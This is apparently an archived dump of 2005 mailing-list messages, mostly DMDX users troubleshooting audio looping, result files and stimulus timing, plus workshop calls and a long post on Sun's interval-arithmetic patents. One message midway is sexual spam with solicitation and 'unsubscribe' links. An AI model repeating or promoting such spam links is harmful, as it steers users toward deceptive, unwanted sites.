Archives:",0,1 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Jun 2005 15:50:10 +1000",[DMDX] again when keyword,"Hi, I was just wondering how exactly the keyword works if it is used with audio files. does it load the file into a more accessible place that allows it to repeatedly play it without closing and reopening it? This question is related to a previously posted question about presenting a wav file repeatedly without any noticeable gap between repetitions. The again when keyword achieves this but i also need it to stop when a response is input. if i had an idea of how it worked, maybe i could find a different program out there that would be able to have a wav file repeat continuously but also stop when required. Thanks! Ranmalee ------------------------------------------------- Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Australia Phone: +61 (03) 9905 3487 Mobile:+61 0403 705 104 -------------------------------------------------",0,0 ruben@ling.uni-potsdam.de,DMDX@psy1.psych.arizona.edu,"Wed, 22 Jun 2005 16:53:43 +0200",[DMDX] DMDX azk file puzzle,"Hi, I have written an item file and now something happened that I don't understand. In the result file the first few item still have a reaction time after the item number, but than, surprise, in the file only 1.00 and -1.00 are indicated. here are some sample rtf file lines: +1 """" / ""auf1_p"" / ""*"" / * ""auf1_t"" c; +2 ""auf2_p"" / ""*"" / * ""auf2_t"" c; +3 ""auf3_p"" / ""*"" / * ""auf3_t"" c; +4 ""auf4_p"" / ""*"" / * ""auf4_t"" c; +5 ""auf5_p"" / ""*"" / * ""auf5_t"" c; 0 c; 0 ""Jetzt geht es los!""; 0 c; $ 0 c; +3000 ""brust_p1234c"" / ""*"" / * ""brust_t1234"" c; <\\unsnip> and here are some sample azk file lines: Subject 1, 06/22/2005 16:38:57 on HANUMAN, refresh 16.61ms Item RT 1 1015.22 2 879.04 3 849.56 4 732.79 5 552.47 3005 1.00 1208 1.00 9908 -1.00 <\\unsnip> can anybody tell me what is going on, and what I can do to fix it? best and thanks in advance, ruben van de vijver",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Jun 2005 08:20:19 -0700",[DMDX] Re: again when keyword,"At 03:50 PM 6/22/2005 +1000, you wrote: >Hi, > >I was just wondering how exactly the keyword works if it >is used with audio files. does it load the file into a more accessible >place that allows it to repeatedly play it without closing and >reopening it? All audio is loaded into memory (a buffer) before an item plays it. If works with audio (and it wouldn't surprise me in the least if it didn't) then it will play the same buffer again if it's finished playing from the first command to play it. >This question is related to a previously posted question about >presenting a wav file repeatedly without any noticeable gap between >repetitions. The again when keyword achieves this but i also need it to >stop when a response is input. Yeah, won't be stopping. >if i had an idea of how it worked, maybe i could find a different >program out there that would be able to have a wav file repeat >continuously but also stop when required. The keyword doesn't do it? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Jun 2005 08:23:52 -0700",[DMDX] Re: DMDX azk file puzzle,"Somewhere or other you've used or or you've managed to turn MDSP bit 1000 on somehow. At 04:53 PM 6/22/2005 +0200, you wrote: >Hi, > >I have written an item file and now something happened that I don't >understand. In the result file the first few item still have a reaction >time after the item number, but than, surprise, in the file only 1.00 and >-1.00 are indicated. > >here are some sample rtf file lines: > >+1 """" / ""auf1_p"" / ""*"" / * ""auf1_t"" c; +2 > ""auf2_p"" / ""*"" / * ""auf2_t"" c; >+3 ""auf3_p"" / ""*"" / * ""auf3_t"" c; >+4 ""auf4_p"" / ""*"" / * ""auf4_t"" c; >+5 ""auf5_p"" / ""*"" / * ""auf5_t"" c; >0 c; > > >0 ""Jetzt geht es los!""; > >0 c; >$ > >0 c; > >+3000 ""brust_p1234c"" / ""*"" / * >""brust_t1234"" c; > ><\\unsnip> > >and here are some sample azk file lines: > > >Subject 1, 06/22/2005 16:38:57 on HANUMAN, refresh 16.61ms > Item RT > 1 1015.22 > 2 879.04 > 3 849.56 > 4 732.79 > 5 552.47 > 3005 1.00 > 1208 1.00 > 9908 -1.00 ><\\unsnip> > >can anybody tell me what is going on, and what I can do to fix it? > >best and thanks in advance, > >ruben van de vijver > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,1 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Jun 2005 09:31:35 +1000",[DMDX] Re: again when keyword,"The keyword repeats the wav file and stops when required but there are noticeable gaps between each repetition Ranmalee ------------------------------------------------- Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Australia Phone: +61 (03) 9905 3487 Mobile:+61 0403 705 104 ------------------------------------------------- ----- Original Message ----- From: ""j.c.f."" Date: Thursday, June 23, 2005 1:20 am Subject: [DMDX] Re: again when keyword > At 03:50 PM 6/22/2005 +1000, you wrote: > >Hi, > > > >I was just wondering how exactly the keyword works > if it > >is used with audio files. does it load the file into a more > accessible>place that allows it to repeatedly play it without > closing and > >reopening it? > > All audio is loaded into memory (a buffer) before an item plays > it. If > works with audio (and it wouldn't surprise me in the least if > it > didn't) then it will play the same buffer again if it's finished > playing > from the first command to play it. > > > >This question is related to a previously posted question about > >presenting a wav file repeatedly without any noticeable gap between > >repetitions. The again when keyword achieves this but i also need > it to > >stop when a response is input. > > Yeah, won't be stopping. > > > >if i had an idea of how it worked, maybe i could find a different > >program out there that would be able to have a wav file repeat > >continuously but also stop when required. > > The keyword doesn't do it? > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Interesting but useless facts #48. > The red flshing beacon atop a firetruck is called a mars light. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 22 Jun 2005 18:00:57 -0700",[DMDX] Re: again when keyword,"At 09:31 AM 6/23/2005 +1000, you wrote: >The keyword repeats the wav file and stops when required but >there are noticeable gaps between each repetition And you've checked that the whole of the wave file contains signal? I don't hear any gap in my tests here. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,0 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Jun 2005 11:29:21 +1000",[DMDX] Re: again when keyword,"Oops! yes, you're right, i think the amplitude envelopes at the start and begining of my sound files were the reason for the gap. so works. thanks... cheers Ranmalee ------------------------------------------------- Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Australia Phone: +61 (03) 9905 3487 Mobile:+61 0403 705 104 ------------------------------------------------- ----- Original Message ----- From: ""j.c.f."" Date: Thursday, June 23, 2005 11:00 am Subject: [DMDX] Re: again when keyword > At 09:31 AM 6/23/2005 +1000, you wrote: > >The keyword repeats the wav file and stops when > required but > >there are noticeable gaps between each repetition > > And you've checked that the whole of the wave file contains > signal? I > don't hear any gap in my tests here. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Interesting but useless facts #48. > The red flshing beacon atop a firetruck is called a mars light. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Il tuo compito è di ignorare il primo""; 0 ""e di rispondere al secondo oggetto""; 0 ""devi identificarlo il più rapidamente e correttamente possibile""; 0 ""spingendo il tasto corrispondente""; 0 ""Premi la barra per iniziare""; $ +1 ""+"" / / ""staticA31.wmv""/ / * ""targetA3.wmv"" / / ; +2 ""+"" / / ""exp3A3dipa.wmv""/ / * ""targetA3.wmv"" / / ; Than you very much for the help! All the best, annalisa",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 26 Jun 2005 13:31:36 -0700",[DMDX] Re: duration problem,"I'd guess that your digital video is the cause of the problem. Try commenting out the keywords (replace them with ) and see what the fixation crosses look like. You'll probably have to comment out the and keywords as well. The file will display names instead of digital video but you'll be able to check things out without interference from the codecs as I'll bet that the codecs are misbehaving, ie, they're decoding frames earlier than they've been asked to. You may have to display your fixation crosses in an item before the digital video is played. At 09:27 PM 6/26/2005 +0200, you wrote: >Hi all, >I'm writing because i have a problem with the duration of my items, i'd >like to have the fixation cross for about 1000ms but sometimes the cross >comes and goes way more rapidly (i can't say how much exactly), some other >times it looks about correct... >this is a sample of my code >the refresh rate is 16.60 > > > > ""+M""> >$ >0 ""Vedrai brevemente un punto di fissazione dello sguardo (+), poi un >oggetto""; >0 ""seguito da un secondo oggetto. Il tuo compito è di ignorare il primo""; >0 ""e di rispondere al secondo oggetto""; >0 ""devi identificarlo il più rapidamente e correttamente possibile""; >0 ""spingendo il tasto corrispondente""; >0 ""Premi la barra per iniziare""; >$ >+1 ""+"" / / > ""staticA31.wmv""/ / * >""targetA3.wmv"" / / ; >+2 ""+"" / / > ""exp3A3dipa.wmv""/ / * >""targetA3.wmv"" / / ; > >Than you very much for the help! >All the best, >annalisa /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #48. The red flshing beacon atop a firetruck is called a mars light.",0,0 Christophe Jermann ,Christophe Jermann ,"Mon, 27 Jun 2005 15:34:27 +0200",IntCP 2005 - 2nd CFP,"(we apologize for possible multiple reception of this call) ================================================================= CALL FOR PAPERS AND PARTICIPATION IntCP 2005 workshop Interval Analysis and Constraint Propagation for Applications http://liawww.epfl.ch/Events/IntCP2005/ Melia Sitges Hotel Sitges (Barcelona) Spain 1st October 2005 Held in conjunction with the Eleventh International Conference on Principles and Practice of Constraint Programming (CP 2005) ================================================================= * Important Dates: ------------------ 04 Jul 2005 - Submission deadline 29 Jul 2005 - Notification of acceptance 01 Aug 2005 - Early registration deadline 16 Aug 2005 - Final camera-ready copies 01 Oct 2005 - Workshop day * Description and goals: ------------------------ Since most physical laws are formulated as numerical constraints, problem areas that use physical models usually involve such constraints (e.g., robotics, control). Moreover, todays computing systems are more and more embedded into their physical environment (modern cars contain thousands of microprocessors), resulting in models of the total system that contain numerical constraints in an essential way. Constraint propagation solvers are appealing for solving numerical problems because they can guarantee two essential properties: * _completeness_ which means the ability to find all solutions if any, or else to prove that there are no solutions to the problem, * _rigor_ which means that the rounding errors due to floating-point computation can be rigorously controlled. These two properties are essential in many practical applications. For instance, real-world problems often have a continuum of solutions which express a spectrum of equally relevant choices, as the possible moving areas of a mobile robot, the collision regions between objects in mechanical assembly, or different alternatives of shapes for the components of a kinematic chain. These alternatives must be identified as completely and rigorously as possible. Moreover, constraint propagation techniques can flexibly incorporate relaxation techniques and the handling of preferences. This is also an important feature since many applications lead to over-constrained problems. However, while constraint propagation solvers have proven particularly efficient in solving challenging instances of numerical problems with nonlinear constraints, they do not yet have enough appeal in many practical problem areas. One of the reasons is that they generally provide representation of the solution set that are either prohibitively verbose or poorly informative. Recent advances have shown however that this matter of fact was not an intrinsinc limitation and that constraint propagation can be considerably improved by incorporating techniques from interval analysis and global optimization. One of the goals of this workshop is to explore the complementarity of different approaches and how it can be used to produce _practical_ powerful solvers. Other topics often relevant in applications are: * integrating uncertainty that can, for example, be modeled, by logical quantifiers, * exploiting specific problem structure, for example in the case of discrete time, continuous state systems, * handling mixture of discrete and continuous problem variables, * developing specific techniques for inequality constraints or problems with a huge number of discrete solutions, * improving solution selection by means of preferences or solution space ""browsing"" We seek contributions that address such questions, and present relevant software tools, algorithms, theoretical results, or applications of constraint propagation and interval analysis techniques oriented toward real-world problems. * Workshop format: ------------------ This is a half-day workshop, open to the entire community . Its aim is to provide a forum where researchers currently working in this area can discuss their most recent ideas and developments and think together about the most promising new directions. We particularly encourage the presentation of work that bridge the gap between theory and practice. * Submissions: -------------- People wishing to give a talk should submit an extended abstract of at least 2 pages. Submissions must be formatted using LNCS packages (see CP formatting instructions). The title page should include the name, address, telephone number and electronic mailing address for each author. Please, email all submissions in postscript or pdf format to : intcp-sub@mpi-sb.mpg.de by July 04th 2005, specifying the name of the contact author in the message. At least one author of each accepted submission must attend the workshop to present the paper. The accepted papers will appear in the workshop proceedings, which will be distributed to the participants. * Reviewing process: -------------------- Submissions will be reviewed by at least one committee member, and will be selected on the basis of their contribution to the topic of the workshop. Authors will receive feedback in the form of reviewers' comments. * Accomodation/Registration: ---------------------------- Accomodation is provided by the hosting conference CP 2005. All workshop attendees must pay the workshop fee. It is however possible to attend the workshop without paying the CP 2005 regular registration fee. Please note that a single registration fee provides entry to all CP and ICLP workhops. * Committee: ------------ - Frédéric Goualard, University of Nantes, France. - Tim Hickey, Brandeis University, USA. - Luc Jaulin, ENSIETA Brest, France. - Christophe Jermann, University of Nantes, France (co-organizer). - Jean-Pierre Merlet, National Institute for Informatics and Control, France. - Stefan Ratschan, Max-Planck Institut für Informatik, Germany (co-organizer). - Djamila Sam-Haroud, EPFL, Switzerland (co-organizer). - Josep Vehi, University of Girona, Spain. * Contacts: ----------- Send questions about the workshop to : intcp-oc@mpi-sb.mpg.de ",0,1 Sid Kouider ,DMDX@psy1.psych.arizona.edu,"Mon, 27 Jun 2005 10:27:17 -0700",[DMDX] Mixing audio signals,"Hi, I'm trying to construct an experiment in which two audio signals are mixed together and start simultaneously. One steam is made of a single long wav file, whereas the other one is made of 4 small wav files. For simplicity, one can imagine that one signal comes in the right ear and one comes in the left ear, similarly to dichotic listening experiments: R channel: RIGHT_WORD L channel: left_word1 --> left_word2 --> left_word3 --> left_word4 I've followed the suggestion made on Mike Ford's page to use the ""svp"" keyword. While I've been able to have two files presented simultaneously (one on the right, one on the left), I've been unable to have the remaining files played SEQUENTIALY on the left channel. Here is a sample of the script: =1 / %0 * ""RIGHT_WORD"" / ""left_word1"" / ""left_word2"" / ""left_word3"" / ""left_word4""; Any help or advice would be appreciated. Thanks, -Sid",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Jun 2005 10:30:30 -0700",[DMDX] Re: Mixing audio signals,"How does it not work? It looks good to me. At 10:27 AM 6/27/2005 -0700, you wrote: > > >Hi, > >I'm trying to construct an experiment in which two audio signals are mixed >together and start simultaneously. One steam is made of a single long wav >file, whereas the other one is made of 4 small wav files. > >For simplicity, one can imagine that one signal comes in the right ear and >one comes in the left ear, similarly to dichotic listening experiments: > > > >R channel: RIGHT_WORD > >L channel: left_word1 --> left_word2 --> left_word3 --> left_word4 > > > >I've followed the suggestion made on Mike Ford's page to use the ""svp"" >keyword. > >While I've been able to have two files presented simultaneously (one on >the right, one on the left), I've been unable to have the remaining files >played SEQUENTIALY on the left channel. > >Here is a sample of the script: > > > >=1 / %0 * ""RIGHT_WORD"" / >""left_word1"" / > > ""left_word2"" / ""left_word3"" / ""left_word4""; > > > >Any help or advice would be appreciated. > >Thanks, > >-Sid /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You must ask much to get a little. - Anonymous",0,0 Sid Kouider ,DMDX@psy1.psych.arizona.edu,"Mon, 27 Jun 2005 20:34:16 +0200",[DMDX] Re: Mixing audio signals,"Jonathan, > How does it not work? It looks good to me. I've just tried the script on a different computer and found exactly the same problem. I used DMDX 3.1.2.6 on WIN XP and 98. I've also recorded the output signal to see what happens. The two first files on each channel (RIGHT_WORD and left_word1) strart ok and are perferctly synchronized. However, the 3 remaing files (left_word2...4) do not appear untill 400 ms after the offset of left_word1 (!) and are strangly srambled altogether (!!!). Something that might help. I seems to have to do with adding %0 to ""svp start"". If I delete the %0, I found that the files are showing a convenient and expected behavior. However, when doing that I loose synchrony of the first files, given that %0 avoid the concurent file from starting 1 tick later, as described in the audio input help. -Sid ----- Original Message ----- From: Jonathan C. Forster To: DMDX@psy1.psych.arizona.edu Sent: Monday, June 27, 2005 7:30 PM Subject: [DMDX] Re: Mixing audio signals Hi, I'm trying to construct an experiment in which two audio signals are mixed together and start simultaneously. One steam is made of a single long wav file, whereas the other one is made of 4 small wav files. For simplicity, one can imagine that one signal comes in the right ear and one comes in the left ear, similarly to dichotic listening experiments: R channel: RIGHT_WORD L channel: left_word1 --> left_word2 --> left_word3 --> left_word4 I've followed the suggestion made on Mike Ford's page to use the ""svp"" keyword. While I've been able to have two files presented simultaneously (one on the right, one on the left), I've been unable to have the remaining files played SEQUENTIALY on the left channel. Here is a sample of the script: =1 / %0 * ""RIGHT_WORD"" / ""left_word1"" / ""left_word2"" / ""left_word3"" / ""left_word4""; Any help or advice would be appreciated. Thanks, -Sid /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You must ask much to get a little. - Anonymous",0,0 George Corliss ,reliable computing ,"Mon, 27 Jun 2005 12:04:52 -0500",Sun patents,"Friends, Ray Moore writes: > As a result of my previous email to this group, I have been contacted by > John Busch of Sun Microsystems, and informed that anyone with specific > concerns about Sun's interval patents should contact him at > John.Busch@sun.com I second that. Dialog is healthy. What follows is my personal opinion. I am a university researcher, not a patent attorney. Nor do I speak for Sun in any sense. In Sun¹s opinion, the patents issued and applications pending are new. On reading them, I see little I recognize as new, but the US patent system is not well equipped to tell the difference. Even if the patents are questionable, it is in Sun¹s commercial interests to apply for them, especially before some other company does. Sun has proven itself to be a friend of the interval community by offering commercial quality interval tools and by modest support for interval research projects, including some of my own (in the interest of full disclosure). In my opinion, the academic research community has little to fear from Sun¹s patent activities; our research helps drive their sales. Other firms who stand to make a profit from interval technologies (in our dreams, that is a non-empty set) are well advised to discuss things with Sun. I would HOPE, and I believe, that Sun has the wisdom to welcome such overtures as partners rather than competitors. For example, I know of one funding proposal for interval research pending in Britain with letters of support from both NAG and Sun. Again in my opinion, academic researchers are well advised to learn more about issues of intellectual property. Our STUDENTS need a basic understanding, because the business that employ our students may live or die by intellectual property. Further, seeking intellectual property protection for some of our OWN work can, in some cases, be a more successful path to research funding than more traditional governmental funding requests. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 Office: Haggerty Engineering 296 George.Corliss@Marquette.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Jun 2005 13:20:17 -0700",[DMDX] Re: Mixing audio signals,"My guess is that you'll have to be specifically setting the duration of the frames that follow the first one. Perhaps your audio files are a little weird and DMDX can't interpret their durations correctly. At 08:34 PM 6/27/2005 +0200, you wrote: >Jonathan, > > > How does it not work? It looks good to me. > >I've just tried the script on a different computer and found exactly the >same problem. >I used DMDX 3.1.2.6 on WIN XP and 98. >I've also recorded the output signal to see what happens. > >The two first files on each channel (RIGHT_WORD and left_word1) strart ok >and are perferctly synchronized. >However, the 3 remaing files (left_word2...4) do not appear untill 400 ms >after the offset of left_word1 (!) and are strangly srambled altogether >(!!!). > >Something that might help. I seems to have to do with adding %0 to ""svp >start"". >If I delete the %0, I found that the files are showing a convenient and >expected behavior. However, when doing that I loose synchrony of the first >files, given that %0 avoid the concurent file from starting 1 tick later, as >described in the audio input help. > >-Sid > >----- Original Message ----- >From: Jonathan C. Forster >To: DMDX@psy1.psych.arizona.edu >Sent: Monday, June 27, 2005 7:30 PM >Subject: [DMDX] Re: Mixing audio signals > >Hi, >I'm trying to construct an experiment in which two audio signals are mixed >together and start simultaneously. One steam is made of a single long wav >file, whereas the other one is made of 4 small wav files. >For simplicity, one can imagine that one signal comes in the right ear and >one comes in the left ear, similarly to dichotic listening experiments: > >R channel: RIGHT_WORD >L channel: left_word1 --> left_word2 --> left_word3 --> left_word4 > >I've followed the suggestion made on Mike Ford's page to use the ""svp"" >keyword. >While I've been able to have two files presented simultaneously (one on the >right, one on the left), I've been unable to have the remaining files played >SEQUENTIALY on the left channel. > >Here is a sample of the script: >=1 / %0 * ""RIGHT_WORD"" / ""left_word1"" >/ > ""left_word2"" / ""left_word3"" / ""left_word4""; > >Any help or advice would be appreciated. >Thanks, > >-Sid > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > You must ask much to get a little. > - Anonymous > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Vladik ******************************** From: Ekaterina Kostina Date: Fri, 24 Jun 2005 17:15:12 +0200 Subject: Conference in Heidelberg on Optimization Under Uncertainties GAMM Activity Group on Applied Stochastic Analysis and Optimization IGK 710 ""Complex Processes: Modeling, Simulation and Optimization"" CONFERENCE ON OPTIMIZATION UNDER UNCERTAINTIES Heidelberg (Germany), September 28-30, 2005 (COUCH 2005) University of Heidelberg This conference will combine a wide range of topics important to optimization problems where the models are subject to uncertainties. The topics include, but not limited to robust optimization, theory and computational methods for uncertain continuous mathematical programming problems and optimal control problems, stochastic optimization, applications in finance, biology, engineering design etc Invited speakers: Aharon Ben-Tal (Technion - Israel Institute of Technology, Haifa) Christodoulos A. Floudas (Princeton University) Kurt Marti (University of German Federal Armed Forces, Munich) Ruediger Schultz (University of Duisburg-Essen) Alexander Shapiro (Georgia Institute of Technology, Atlanta) A short course on stochastic programming will be offered on September 27, a day before the workshop, by A. Shapiro (Georgia Institute of Technology, Atlanta). Invited and contributed presentations will be scheduled during the following three days. Participants who wish to present a talk are invited to submit a title and an abstract to couch2005@iwr.uni-heidelberg.de by June 30, 2005. Notification of acceptance will occur before July 20, 2005. Additional information regarding registration, contributed talks, deadlines, accommodation etc. is available from the workshop web site: http://couch2005.uni-hd.de Organizers: Hans Georg Bock and Ekaterina Kostina",0,1 Kristi Xrtcyrszultg ,reliable_computing-outgoing@interval.louisiana.edu,"Tue, 28 Jun 2005 10:43:16 -0200",Hey babe,"l onely women interested in meeting up to have fun :) find someone to bangg for tonight.. http://www.getfunhere.com tazke offk http://www.dontletwifeknow.com/unsubscribe.php ",1,1 George Corliss ,reliable computing ,"Tue, 28 Jun 2005 13:12:05 -0500",Sun interval patents,"Friends, After my message of yesterday (appended below, for completeness), Wayne Hayes wrote: > Interesting, George. I thought that I had the feeling that you were > against Sun's patents, but in your latest message you seem to have turned > around 180 degrees. Have I mis-interpreted your direction for the past > few months, or have you mellowed with age in the past few months? :-) Wayne may have over-extrapolated in BOTH the past and the present. The truth lies between. I wish Sun had not submitted it applications, but I am sympathetic to at least some of their business purposes for doing so. What follows is long, opinionated, and philosophical, but I hope addresses some of the complexities of the issues and suggests some ACTIONS. I believe Sun's hardware-related interval patent applications probably have merit. I believe Sun's software-related interval patent applications contain nothing I can recognize as novel. Based on what I currently know, if I were the responsible patent examiner, I would deny them. I believe it is harmful to the field for anyone to attempt to claim as his/her own the work of others, whether in a patent application, in a journal article, or in other forums. I believe that is what Bill has done. Lest I be guilty of the same offense, some of the thoughts expressed here come from The Entrepreneur's Guide to Patents, Copyrights, Trademarks, Trade Secrets & Licensing by Jill Gilbert and from Jill's masters degree thesis (copies available from me). On the other hand, I hope and expect that Bill and Eldon HAVE invented some novel wrinkles. They are both VERY smart guys, and they have been thinking about intervals and global optimization for about twice as long as I have. If they have ""reduced their ideas to practice"" (the legal patent language; I might otherwise say ""elevated to practice"") in a software package, I anticipate seeing either refereed journal papers, Sun sales literature, or both demonstrating impressive applications. It is the job of a good patent attorney to write patent applications in a way that gets new ideas covered without really telling people what the new ideas are. That is not how patents are SUPPOSED to work, but it is how they often DO work. I cannot exclude the possibility that Sun's patent applications really do cover new ground I was not able to recognize. I am experienced in interval algorithms, but I HOPE Sun's patent attorneys are even more experienced as patent attorneys. I also have some modest understanding of how business is played, and I understand stress. Sun (and most businesses) are under tremendous stress, which probably only increases. Most technology businesses today live and die on their IP. Sun NEEDS as much legal protection as it can get for its legitimate IP, and I do not fault them, under pressure, for casting their net a little wider than might be valid. If someone dangled under my nose money in the order that these patents are probably worth to Sun, my perspective and memory of who really originated the ideas would probably be shifted a bit, too. So would yours, I'd wager. My heart goes out to Bill as a personal and professional friend. I believe he believed he was acting ethically and appropriately, and now he is prohibited, probably on pain of loosing his job, from commenting on all the discussion floating around about him. Bill went pretty far out on a limb at Sun for intervals, and we failed to produce for him the killer interval applications he (rightly or wrongly) assumed we would. I suspect he needed to demonstrate to his management SOME business value from intervals. Patent applications add business value. The patent process does not work well, especially for software. I am told that a patent examiner has a budget of about one working day per patent application to decide to recommend acceptance or denial. How can the Office hope to have the expertise to make correct decisions on that budget? Until the taxpayers clamor for increased taxes to fund a better process, it is a reasonable strategy for the Patent Office to say, ""Most patents have zero commercial value. If in doubt, issue the patent. If it turns out to be one of the few that HAS commercial value, the people with more resources and access to technical expertise than we have can fight it out in court. Let those who stand to benefit bear the cost."" I am NOT asserting that is their strategy, just pointing out it would not be foolish if it were. If the strategy of the Patent Office is remotely like that, it behooves firms to file thickets of patent applications. Suppose Bill had agreed with my perspective and told his boss, ""There is nothing new here."" How does he look? Further, suppose that instead of Sun, someone else, say from a few hundred miles further north, submitted exactly the same patent applications as Sun did. That firm almost surely would have forced Sun to remove intervals from their Fortran, C++, and other software (and probably hardware). That scenario is not far-fetched, and I am VERY certain that the interval community is better off with that set of patents in Sun's hands than in the hands of some other giant software firms we could name. My worst case scenario is that Sun is weakened to the point where they are purchased by another firm that might view Sun's interval patents differently. I've been as ingrained as anyone that ideas should be free. I have also been ingrained with the idea that people with good ideas are entitled to profit from those ideas. In academia, that profit is usually tenure, promotion, salary increases, and a modest fame. Others might prefer to profit financially. One point my university IP attorney explained to me: Scenario 1: You have a great idea. You publish it. You go to a company and propose they commercialize it. They decline, because their competitor can read your article and bring the same product to market. Neither does their competitor see an opportunity for competitive advantage. Result: Your great idea counts for tenure. Period. Scenario 2: You have a great idea. You file for patent protection. You publish it. You go to a company and propose they commercialize it. Now, you can offer them a guaranteed monopoly in the market, giving them a potential competitive advantage. Result: Your great idea counts for tenure, AND it generates revenue to fund continued research. Of course, only a few great ideas play out as this scenario pair suggests, but a few do, and more could. I believe academics are naïve to consider ONLY the ""all ideas should be free"" alternative. The goal of the interval research community has long been to get practicing scientists and engineers to use our work. We want people to use our stuff? Then we are offended when Sun thinks there might be some commercial value and competitive advantage? Hello!? Sun is our ally. They are offer major vendor support for intervals in their compilers, and they are aggressively promoting intervals to their customers. In short, I see multiple sides. I wish the world were simpler, but it is not, and wishing does not make it so. ACTIONS The REAL question should be, ""What are we doing to DO?"" Hand-wringing and long messages like this accomplish little, although I hope I have helped a few people better understand the complexities. #1 Develop significant applications As Ray as long advocated at every available opportunity, WE NEED SIGNIFICANT APPLICATIONS, AND WE NEED TO COMMUNICATE THEM TO PRACTICING SCIENTISTS AND ENGINEERS. #2 Learn from the experience We can learn much more about intellectual property issues, and we should share those lessons with our students. We academics can pretend all ideas should be free if we wish, but the commercial world into which our students go works differently. We owe it to our students to better prepare them for the world into which they go, and this is a decent case study. For example, I have a faculty colleague who licenses software developed over 12 years by over 100 students, generating licensing revenues to the university of over $250K this fiscal year. He has relied on trade secret and copyright protections. If one of his competitors were to apply for patents on his technology and approach his customers with hints that the software they are licensing from Marquette might be infringing the new patents, my friend could loose his $250K annual funding stream very quickly. At my urging, he is retaining a patent attorney to consider filing patents on new developments he is making each year, hoping to protect the older, non-patentable technologies. In a sense, Sun's patent applications are similarly defensive. #3 Make peace, relax, and carry on We might be tempted to think it would be fun to see a headline in the Wall Street Journal, ""Sun Sues Xyz over Intervals,"" but a private correspondent points out that the LAST thing the interval community needs is a Linux-style public legal battle. My grandfather was a lawyer and a judge. He used to say that in 50 years' practice, he had never seen a law suit won by anyone except the lawyers. I suspect examples of firms patenting technologies commonly used in narrow research communities are widespread. For example, I have been told that IBM holds a patent on most of automatic differentiation (AD) filed long after most of the claims had been done at Madison, Oak Ridge, Argonne, Rice, and tens of other institutions. The AD community is vaguely aware, and sometimes laughs, but that does not affect their work. It is hard to imaging Sun suing members of the academic research community. First, we have little money. Second, we feed them technologies on which they depend. Third, we are their customers. Fourth, if they did, several of the pioneers in the field would probably be pleased to serve as expert witnesses for the defense at a VERY modest cost. For example, if Ray came and testified, ""The concept the defendant is accused of infringing appears on page x of my 1966 book,"" Sun's case is weak, shall we say. #4 Interval Subroutine Library (ISL) It is premature to discuss details, but a small team of interval researchers has a funding request pending with a national funding source to plan and explore the feasibility of a comprehensive Interval Subroutine Library. The concept is that in cooperation with NAG, Sun, and anyone else who wants to participate, we assemble as much of the existing interval software as we can into a unified, comprehensive, supported library. One rough model are the BLAS and LAPACK efforts. Eventually, we aspire to scope and coverage comparable to early NAG or IMSL libraries or the Numerical Recipes collection. The software should be available under some manner of open license (note I do not specify ""Open"" license, at the suggestion of a private correspondent). One of many possible licenses is Sun's Common Development and Distribution License (CDDL). I believe an ISL is a positive response to Sun's patent applications because it establishes a dominant, comprehensive, open (small ""o"") interval library with clearly defined IP ownership assigned to the rightful originators. Of course, the main benefit is that when we succeed in interesting a scientist of an engineer in interval tools, we will be able to say, ""Here is a CD ready for you to use."" The currently pending funding proposal enjoys the moral support and encouragement of both NAG and Sun, as evidenced by letters/messages of support from each. Of course, we hope for financial support, too, at some point. #5 Become informed and work for reform of the patent process There ARE efforts to 